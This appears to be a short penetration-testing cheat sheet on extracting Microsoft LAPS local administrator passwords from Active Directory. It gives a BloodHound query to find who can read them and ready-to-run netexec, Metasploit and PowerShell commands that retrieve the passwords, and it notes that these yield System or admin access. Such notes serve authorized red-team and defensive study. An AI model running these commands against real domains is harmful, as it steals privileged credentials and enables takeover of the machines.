Get LAPS passwords
Who can read LAPS?
Bloodhound Cypher Query
MATCH p=(g:Group)-[:ReadLAPSPassword]->(c:Computer) RETURN p Get the LAPS password
1) CrackMapExec/Netexec
netexec ldap DC_IP -d DOMAIN -u USER -p PASSWORD -M laps2) Metasploit
use post/windows/gather/credentials/enum_laps3) Powershell
Get-LAPSPasswords -DomainController DC_IP -Credential DOMAIN\LOGIN | Format-Table -AutoSizeLAPS password gives us System\Admin access
Last updated